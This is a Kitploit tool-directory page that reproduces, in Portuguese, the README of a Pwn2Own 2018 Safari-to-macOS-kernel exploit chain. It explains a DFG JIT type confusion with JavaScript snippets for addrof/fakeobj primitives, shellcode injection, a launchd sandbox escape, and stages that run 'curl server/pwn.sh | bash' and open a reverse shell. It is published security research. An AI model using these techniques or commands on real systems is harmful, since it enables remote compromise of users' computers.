Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwn2own2018 — Um encadeamento de exploits do Pwn2Own | Kitploit
Ferramentas/GitHubGitHub/saelo/pwn2own2018
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubsaelo/pwn2own2018

pwn2own2018

Um encadeamento de exploits do Pwn2Own

Ver Repositório
75911267há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pwn2Own 2018: Safari + macOS

RCE no Safari, escape da sandbox e LPE para o kernel no macOS 10.13.3.

Uso

Instale o nasm e o tornado:

brew install nasm
pip3 install tornado

Verifique o config.py se quiser alterar o host ou as portas. Em seguida, inicie o servidor com ./server.py e navegue até a URL exibida.

Visão geral

Esta cadeia de exploits usa três bugs diferentes para ir do código JavaScript executado dentro do Safari até a execução de código em modo kernel:

  1. Uma otimização incorreta no compilador JIT DFG que pode ser usada para causar uma confusão de tipos (type confusion)
  2. Falta de verificações de sandbox no launchd, permitindo que processos em sandbox criem processos arbitrários (sem sandbox)
  3. Um bug de lógica no XNU, permitindo que um processo substitua a porta de bootstrap dos seus processos filhos, levando a uma situação de MitM de IPC

A cadeia de exploits é implementada em seis estágios, cada um localizado em seu próprio subdiretório:

  • stage0/: o exploit do WebKit
  • stage1/: o payload do primeiro estágio escrito em assembly
  • stage2/: o payload do segundo estágio para realizar o escape da sandbox
  • stage3/: scripts de shell para coordenar os estágios restantes
  • stage4/: um LPE para obter root
  • stage5/: um LPE para obter execução de código no kernel
  • libspc/: reimplementação do protocolo XPC, usado pelos estágios 2, 4 e 5

Todo subdiretório (com exceção de libspc/) contém um arquivo chamado make.py que, quando executado, realiza qualquer tipo de comando de build necessário e cria uma lista de arquivos a serem servidos pelo servidor web.

Estágio 0

Objetivo: obter execução de shellcode dentro do processo WebContent em sandbox
Bug explorado: otimização incorreta no compilador JIT DFG
Veja também esta palestra da BlackHat

O compilador JIT DFG representa o código JavaScript em sua própria representação intermediária (IR), o Grafo de Fluxo de Dados (DFG). Normalmente, uma expressão JavaScript é traduzida em uma ou várias instruções de IR nesse grafo. No caso de uma função construtora, a instrução CreateThis é emitida e é responsável por alocar o objeto this que é construído pela função. Como exemplo, a função function Consructor() {}, quando chamada com new, seria aproximadamente traduzida para

v0 = CreateThis
return v0

Observando o AbstractInterpreter, podemos ver que o compilador JIT DFG assume que a operação CreateThis não resultará em nenhum efeito colateral além de uma alocação no heap. Na verdade, este código:

function Constructor(obj) {
    return obj.x;
}

será aproximadamente traduzido para as seguintes instruções DFG: (Aqui, o StructureCheck foi movido para o início da função pela TypeCheckHoistingPhase).

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

No entanto, essa suposição é inválida, pois o código de caminho lento (slow-path) para CreateThis pode executar código JavaScript arbitrário em alguns casos. Em particular, ao usar um Proxy em volta da função real, a armadilha (trap) get para a propriedade "prototype" será chamada durante o manipulador de caminho lento para CreateThis, já que ele precisa buscar o objeto prototype do objeto construído:

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Dessa forma, agora é possível modificar a Structure de um objeto sem que o compilador JIT realize um bailout.

Este bug pode ser usado para construir as primitivas addrof e fakeobj da seguinte forma:

addrof

Compilamos o código para o caso de um JSArray com elementos double unboxed e, então, no callback, fazemos a transição para elementos JSValue. Depois disso, o código JIT carregará um JSValue do array, mas tratará esses bits como um double e os retornará para nós. O código a seguir atribuirá o endereço de leakme à propriedade "address" do objeto construído.

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Aqui fazemos essencialmente o contrário: otimizamos o código para armazenar um double em um array com elementos double unboxed e, novamente, fazemos a transição para elementos JSValue no callback. O código continuará escrevendo nosso double controlado em forma unboxed no armazenamento de apoio (backing storage). Quando acessarmos esse elemento do array mais tarde, ele tratará esses bits como um JSValue em vez de um double. O código a seguir escreverá o double unboxed address no buffer de apoio de a, que podemos então ler como JSValue, permitindo-nos "injetar" JSValues de nossa escolha no mecanismo.

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

Dessa forma, acabamos com a capacidade de escrever um double e tratá-lo como um ponteiro JSObject, e vice-versa. Isso pode ser explorado conforme descrito em atacando mecanismos JavaScript.

O exploit primeiro obtém leitura/escrita arbitrária de memória do processo falsificando um Float64Array, depois procura pela região JIT (mapeada como RWX) e escreve o shellcode do stage1 nela.

Estágio 1

Objetivo: inicializar o estágio 2 escrevendo um .dylib no disco e carregando-o via dlopen()

Um payload curto em assembly que essencialmente faz o seguinte:

  1. Chamar confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obter um caminho para um diretório gravável
  2. Criar um novo arquivo chamado 'x.dylib' no diretório gravável
  3. Escrever o dylib do estágio 2 no arquivo recém-criado
  4. Carregar o dylib no processo WebContent através de dlopen()

Estágio 2

Objetivo: escapar da sandbox
Bug explorado: falta de verificações de sandbox na API "legacy_spawn" do launchd
Veja também esta palestra

O launchd expõe o endpoint RPC "legacy_spawn" como a rotina 817 no subsistema 3. Essa API não valida se o chamador deve ter permissão para criar processos e simplesmente executa execve de qualquer binário do sistema para o chamador, com argumentos controlados. Como o launchd é acessível através da porta de bootstrap, isso torna possível escapar da sandbox.

O exploit essencialmente executa curl server/pwn.sh | bash e, assim, passa o controle para o stage3.

Estágio 3

Objetivo: abrir a calculadora (pop calc) e inicializar os estágios restantes

Isso executa open /Applications/Calculator.app e estabelece um reverse shell; em seguida, busca todos os arquivos necessários para os estágios restantes e executa os exploits.

Estágio 4

Objetivo: obter root através de um exploit de LPE
Bug explorado: MitM na porta de bootstrap do XNU
Veja também esta palestra da POC

Baixar ferramenta